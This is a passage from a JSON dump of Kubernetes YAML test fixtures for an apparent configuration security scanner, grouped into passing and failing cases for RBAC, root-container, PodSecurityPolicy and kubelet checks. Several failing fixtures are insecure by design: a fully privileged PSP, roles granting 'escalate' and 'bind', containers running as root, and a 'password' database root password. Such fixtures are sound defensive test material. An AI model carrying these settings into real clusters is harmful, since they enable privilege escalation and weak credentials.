    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-1\n  namespace: test\nrules:\n- apiGroups: [\"\"]\n  resources: [\"nodes\"]\n  verbs: [\"list\", \"get\"]\n- apiGroups: [\"rbac.authorization.k8s.io\", \"\"]\n  resources: [\"rolebindings\"]\n  verbs: [\"delete\", \"bind\"]\n- apiGroups: [\"\"]\n  resources: [\"pods\"]\n  verbs: [\"patch\", \"get\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacBindRoleBindings/clusterrole-passed-1.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-1\n  namespace: test\nrules:\n- apiGroups: [\"rbac.authorization.k8s.io\"]\n  resources: [\"clusterrolebindings\", \"configmaps\"]\n  verbs: [\"get\", \"create\", \"delete\", \"list\"]\n- apiGroups: [\"\"]\n  resources: [\"pods\", \"nodes\"]\n  verbs: [\"update\", \"patch\", \"get\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacBindRoleBindings/role-failed-2.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-2\n  namespace: test\nrules:\n- apiGroups: [\"rbac.authorization.k8s.io\"]\n  resources: [\"rolebindings\", \"roles\"]\n  verbs: [\"*\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacBindRoleBindings/role-passed-2.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-2\n  namespace: test\nrules:\n- apiGroups: [\"\", \"rbac.authorization.k8s.io\", \"apps\"]\n  resources: [\"pods\", \"serviceaccounts\"]\n  verbs: [\"*\"]\n- apiGroups: [\"\", \"rbac.authorization.k8s.io\", \"apps\"]\n  resources: [\"roles\", \"clusterrolebindings\"]\n  verbs: [\"patch\", \"create\", \"watch\", \"delete\", \"list\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-failed-1.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-1\n  namespace: test\nrules:\n- apiGroups: [\"admissionregistration.k8s.io\"]\n  resources: [\"mutatingwebhookconfigurations\"]\n  verbs: [\"create\", \"list\"]\n- apiGroups: [\"\"]\n  resources: [\"pods\"]\n  verbs: [\"get\"]\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-failed-2.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-2\n  namespace: test\nrules:\n- apiGroups: [\"admissionregistration.k8s.io\"]\n  resources: [\"validatingwebhookconfigurations\"]\n  verbs: [\"patch\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-passed-1.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-1\n  namespace: test\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"get\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-passed-2.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-2\n  namespace: test\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"validatingwebhookconfigurations\"]\n  verbs: [\"get\", \"list\", \"watch\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacEscalateRoles/clusterrole-failed-1.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-1\n  namespace: test\nrules:\n- apiGroups: [\"\"]\n  resources: [\"nodes\"]\n  verbs: [\"list\", \"get\"]\n- apiGroups: [\"rbac.authorization.k8s.io\", \"\"]\n  resources: [\"roles\"]\n  verbs: [\"get\", \"escalate\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacEscalateRoles/clusterrole-passed-1.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-1\n  namespace: test\nrules:\n- apiGroups: [\"rbac.authorization.k8s.io\"]\n  resources: [\"clusterroles\"]\n  verbs: [\"get\", \"create\", \"delete\", \"list\"]\n- apiGroups: [\"\"]\n  resources: [\"pods\", \"roles\"]\n  verbs: [\"update\", \"patch\", \"get\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacEscalateRoles/role-failed-2.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-2\n  namespace: test\nrules:\n- apiGroups: [\"rbac.authorization.k8s.io\"]\n  resources: [\"rolebindings\", \"roles\"]\n  verbs: [\"*\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacEscalateRoles/role-passed-2.yaml",
    "content": "---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-2\n  namespace: test\nrules:\n- apiGroups: [\"\", \"rbac.authorization.k8s.io\", \"apps\"]\n  resources: [\"pods\", \"serviceaccounts\"]\n  verbs: [\"*\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_ReadOnlyFilesystem/frontend-replicaset-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: ReplicaSet\nmetadata:\n  name: frontend\n  labels:\n    app: guestbook\n    tier: frontend\nspec:\n  # modify replicas according to your case\n  replicas: 3\n  selector:\n    matchLabels:\n      tier: frontend\n  template:\n    metadata:\n      labels:\n        tier: frontend\n    spec:\n      containers:\n      - name: php-redis\n        image: gcr.io/google_samples/gb-frontend:v3\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ReadOnlyFilesystem/pod-readonly-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels:\n    run: readonly-container\n  name: readonly-container\nspec:\n  containers:\n  - image: ubuntu\n    name: readonly-container\n    command: [\"/bin/sh\", \"-c\", \"sleep infinity\"]\n    securityContext:\n      readOnlyRootFilesystem: true\n  restartPolicy: Never\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ReadOnlyFilesystem/pod-readonly-false-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels:\n    run: readonly-container\n  name: readonly-container\nspec:\n  containers:\n  - image: ubuntu\n    name: readonly-container\n    command: [\"/bin/sh\", \"-c\", \"sleep infinity\"]\n    securityContext:\n      readOnlyRootFilesystem: false\n  restartPolicy: Never\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Requests_Limits/cronjob-request-limit-1FAILED.yaml",
    "content": "apiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: pghero-capture-query-stats\nspec:\n  schedule: \"*/5 * * * *\"\n  startingDeadlineSeconds: 120\n  concurrencyPolicy: Forbid\n  successfulJobsHistoryLimit: 2\n  failedJobsHistoryLimit: 2\n  jobTemplate:\n    spec:\n      template:\n        metadata:\n          labels:\n            cronjob: pghero-capture-query-stats\n        spec:\n          restartPolicy: OnFailure\n          containers:\n          - name: cron\n            image: \"pghero:latest\"\n            imagePullPolicy: Always\n            command: [\"bin/rake\", \"pghero:capture_query_stats\"]\n            env:\n              - name: \"PGHERO_CONFIG_PATH\"\n                value: \"/etc/pghero/pghero.yaml\"\n            envFrom:\n            - secretRef:\n                name: pghero-secret\n            volumeMounts:\n            - name: config\n              mountPath: \"/etc/pghero\"\n              readOnly: true\n            resources:\n          volumes:\n          - name: config\n            secret:\n              secretName: pghero-yaml-secret\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-1FAILED1PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: frontend\nspec:\n  containers:\n  - name: db\n    image: mysql\n    env:\n    - name: MYSQL_ROOT_PASSWORD\n      value: \"password\"\n  - name: wp\n    image: wordpress\n    resources:\n      requests:\n        memory: \"64Mi\"\n        cpu: \"250m\"\n        ephemeral-storage: \"2Gi\"\n      limits:\n        memory: \"128Mi\"\n        cpu: \"500m\"\n        ephemeral-storage: \"4Gi\"\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-2PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: frontend\nspec:\n  containers:\n  - name: db\n    image: mysql\n    env:\n    - name: MYSQL_ROOT_PASSWORD\n      value: \"password\"\n    resources:\n      requests:\n        memory: \"64Mi\"\n        cpu: \"250m\"\n        ephemeral-storage: \"2Gi\"\n      limits:\n        memory: \"128Mi\"\n        cpu: \"500m\"\n        ephemeral-storage: \"4Gi\"\n  - name: wp\n    image: wordpress\n    resources:\n      requests:\n        memory: \"64Mi\"\n        cpu: \"250m\"\n        ephemeral-storage: \"2Gi\"\n      limits:\n        memory: \"128Mi\"\n        cpu: \"500m\"\n        ephemeral-storage: \"4Gi\"\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-UNKNOWN.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: frontend\nspec:\n  containers:\n  - name: db\n    image: mysql\n    env:\n    - name: MYSQL_ROOT_PASSWORD\n      value: \"password\"\n    resources:\n      - requests:\n          memory: \"64Mi\"\n          cpu: \"250m\"\n          ephemeral-storage: \"2Gi\"\n        limits:\n          memory: \"128Mi\"\n          cpu: \"500m\"\n          ephemeral-storage: \"4Gi\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-UNKNOWN2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: frontend\nspec:\n  containers:\n  - name: db\n    image: mysql\n    env:\n    - name: MYSQL_ROOT_PASSWORD\n      value: \"password\"\n    resources:\n      requests:\n      - memory: \"64Mi\"\n        cpu: \"250m\"\n        ephemeral-storage: \"2Gi\"\n      limits:\n        memory: \"128Mi\"\n        cpu: \"500m\"\n        ephemeral-storage: \"4Gi\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainers/rootContainersFAILED-malformed-spec.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: pod1\nspec:\n  - containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainers/rootContainersFAILED.yaml",
    "content": "# runAsNonRoot and runAsUser not set (pod or container)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod1\nspec:\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# runAsNonRoot set at pod, but overridden at container\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod2\nspec:\n  securityContext:\n    runAsNonRoot: true\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsNonRoot: false\n---\n# runAsNonRoot not set, runAsUser set to 0 at pod level\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod3\nspec:\n  securityContext:\n    runAsUser: 0\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# runAsNonRoot not set, runAsUser >1000 defined at pod, but overridden to 0 at container level\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod4\nspec:\n  securityContext:\n    runAsUser: 1000\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n  - name: main2\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 0\n\n---\n# runAsNonRoot not set, runAsUser is not an integer (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod4\nspec:\n  securityContext:\n    runAsUser: username\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n  - name: main2\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 0\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainers/rootContainersFAILED_2.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: external-dns\n  namespace: external-dns\nspec:\n  strategy:\n    type: Recreate\n  selector:\n    matchLabels:\n      app: external-dns\n  template:\n    metadata:\n      labels:\n        app: external-dns \n    spec:\n      containers:\n      - name: external-dns\n        image: k8s.gcr.io/external-dns/external-dns:v0.8.0\n        args:\n        - --source=ingress\n        - --source=istio-gateway\n        - --provider=google\n        - --google-project=guidewire-mgmt-dev-b81f  #Specify the Project Name where Cloud DNS Zones are hosted\n        - --registry=txt\n        - --txt-owner-id=my-identifier\n      serviceAccountName: external-dns\n      securityContext:\n        runAsUser:65534\n        fsGroup:65534\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainers/rootContainersPASSED.yaml",
    "content": "# runAsNonRoot set at pod, not overridden by containers\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod1\nspec:\n  securityContext:\n    runAsNonRoot: true\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# runAsNonRoot not set at pod, but all containers specify \napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod2\nspec:\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsNonRoot: true\n---\n# runAsNonRoot set to false at pod, but overridden as True by all containers specify \napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod3\nspec:\n  securityContext:\n    runAsNonRoot: false\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsNonRoot: true\n---\n# runAsNonRoot not set, runAsUser >0 defined at pod and not overridden at container \napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod4\nspec:\n  securityContext:\n    runAsUser: 1000\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# runAsNonRoot not set, runAsUser >0 overridden for each container \napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod5\nspec:\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 1000\n  - name: main2\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 1000\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainers/rootContainersUNKNOWN.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata: \n  labels: \n    name: nginx-pod\n  name: nginx-pod\nspec: \n  containers:\n      image: \"gcr.io/google_containers/nginx-slim:0.8\"\n      name: nginx-pod\n      ports:\n          containerPort: 80\n          name: web\n      securityContext: \n        privileged: true\n      volumeMounts:\n          mountPath: /usr/share/nginx/html\n          name: achia-vol\n  volumes:\n      name: achia-vol\n      persistentVolumeClaim: \n        claimName: claim1"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainersHighUID/rootContainersHighUIDFAILED.yaml",
    "content": "# Pod runAsUser not set, container runAsUser not set or < 10000 (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod1\nspec:\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# Pod runAsUser not set, container runAsUser not set or < 10000 (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod2\nspec:\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 0\n---\n# Pod runAsUser >= 10000, override at container < 10000 (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod3\nspec:\n  securityContext:\n    runAsUser: 11000\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n  - name: main2\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 0\n---\n# Pod runAsUser < 10000, no override at container (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod4\nspec:\n  securityContext:\n    runAsUser: 1000\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n  - name: main2\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# Pod runAsUser is not an integer (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod4\nspec:\n  securityContext:\n    runAsUser: username\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n  - name: main2\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# Pod securityContext is not a dict (FAILED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod4\nspec:\n  securityContext:\n    runAsUser:65534\n    fsGroup:65534\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n  - name: main2\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainersHighUID/rootContainersHighUIDPASSED.yaml",
    "content": "# runAsUser set at pod >= 10000, not overridden by containers (PASSED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod1\nspec:\n  securityContext:\n    runAsUser: 10000\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n---\n# Pod runAsUser < 10000, override at container >= 10000 (PASSED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod2\nspec:\n  securityContext:\n    runAsUser: 180\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 12000\n---\n# Pod runAsUser not set, container runAsUser set >= 10000 (PASSED)\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod3\nspec:\n  containers:\n  - name: main\n    image: alpine\n    command: [\"/bin/sleep\", \"999999\"]\n    securityContext:\n      runAsUser: 12000\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainersHighUID/rootContainersHighUIDUNKNOWN.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata: \n  labels: \n    name: nginx-pod\n  name: nginx-pod\nspec: \n  containers:\n      image: \"gcr.io/google_containers/nginx-slim:0.8\"\n      name: nginx-pod\n      ports:\n          containerPort: 80\n          name: web\n      securityContext: \n        privileged: true\n      volumeMounts:\n          mountPath: /usr/share/nginx/html\n          name: achia-vol\n  volumes:\n      name: achia-vol\n      persistentVolumeClaim: \n        claimName: claim1"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainersPSP/MustRunAsNonRoot-PASSED.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: restricted\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default'\n    apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default'\n    seccomp.security.alpha.kubernetes.io/defaultProfileName:  'runtime/default'\n    apparmor.security.beta.kubernetes.io/defaultProfileName:  'runtime/default'\nspec:\n  privileged: false\n  # Required to prevent escalations to root.\n  allowPrivilegeEscalation: false\n  # This is redundant with non-root + disallow privilege escalation,\n  # but we can provide it for defense in depth.\n  requiredDropCapabilities:\n    - ALL\n  # Allow core volume types.\n  volumes:\n    - 'configMap'\n    - 'emptyDir'\n    - 'projected'\n    - 'secret'\n    - 'downwardAPI'\n    # Assume that persistentVolumes set up by the cluster admin are safe to use.\n    - 'persistentVolumeClaim'\n  hostNetwork: false\n  hostIPC: false\n  hostPID: false\n  runAsUser:\n    # Require the container to run without root privileges.\n    rule: 'MustRunAsNonRoot'\n  seLinux:\n    # This policy assumes the nodes are using AppArmor rather than SELinux.\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  fsGroup:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  readOnlyRootFilesystem: false\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainersPSP/RunAsUserRange-FAILED.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: notsorestricted\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default'\n    apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default'\n    seccomp.security.alpha.kubernetes.io/defaultProfileName:  'runtime/default'\n    apparmor.security.beta.kubernetes.io/defaultProfileName:  'runtime/default'\nspec:\n  privileged: false\n  # Required to prevent escalations to root.\n  allowPrivilegeEscalation: false\n  # This is redundant with non-root + disallow privilege escalation,\n  # but we can provide it for defense in depth.\n  requiredDropCapabilities:\n    - ALL\n  # Allow core volume types.\n  volumes:\n    - 'configMap'\n    - 'emptyDir'\n    - 'projected'\n    - 'secret'\n    - 'downwardAPI'\n    # Assume that persistentVolumes set up by the cluster admin are safe to use.\n    - 'persistentVolumeClaim'\n  hostNetwork: false\n  hostIPC: false\n  hostPID: false\n  runAsUser:\n    rule: 'MustRunAs'\n    ranges:\n      - max: 65535\n        min: 32000\n      - min: 0\n        max: 1000\n  seLinux:\n    # This policy assumes the nodes are using AppArmor rather than SELinux.\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  fsGroup:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  readOnlyRootFilesystem: false\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainersPSP/RunAsUserRange-PASSED.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: restricted\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default'\n    apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default'\n    seccomp.security.alpha.kubernetes.io/defaultProfileName:  'runtime/default'\n    apparmor.security.beta.kubernetes.io/defaultProfileName:  'runtime/default'\nspec:\n  privileged: false\n  # Required to prevent escalations to root.\n  allowPrivilegeEscalation: false\n  # This is redundant with non-root + disallow privilege escalation,\n  # but we can provide it for defense in depth.\n  requiredDropCapabilities:\n    - ALL\n  # Allow core volume types.\n  volumes:\n    - 'configMap'\n    - 'emptyDir'\n    - 'projected'\n    - 'secret'\n    - 'downwardAPI'\n    # Assume that persistentVolumes set up by the cluster admin are safe to use.\n    - 'persistentVolumeClaim'\n  hostNetwork: false\n  hostIPC: false\n  hostPID: false\n  runAsUser:\n    # Require the container to run without root privileges.\n    rule: 'MustRunAs'\n    ranges:\n      - max: 65535\n        min: 1\n  seLinux:\n    # This policy assumes the nodes are using AppArmor rather than SELinux.\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  fsGroup:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  readOnlyRootFilesystem: false\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RootContainersPSP/psp-most-insecure-FAILED.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: privileged\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'\nspec:\n  privileged: true\n  allowPrivilegeEscalation: true\n  allowedCapabilities:\n  - '*'\n  volumes:\n  - '*'\n  hostNetwork: true\n  hostPorts:\n  - min: 0\n    max: 65535\n  hostIPC: true\n  hostPID: true\n  runAsUser:\n    rule: 'RunAsAny'\n  seLinux:\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'RunAsAny'\n  fsGroup:\n    rule: 'RunAsAny'\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubeControllerManagerRotateKubeletServerCertificate-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kube-controller-manager-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    - --feature-gates=RotateKubeletServerCertificate=false\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubeControllerManagerRotateKubeletServerCertificate-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kube-controller-manager-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    - --feature-gates=RotateKubeletServerCertificate=true\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubletRotateKubeletServerCertificate-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --feature-gates=RotateKubeletServerCertificate=false\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubletRotateKubeletServerCertificate-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --feature-gates=RotateKubeletServerCertificate=true\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_SchedulerBindAddress/SchedulerBindAddress-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-scheduler\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
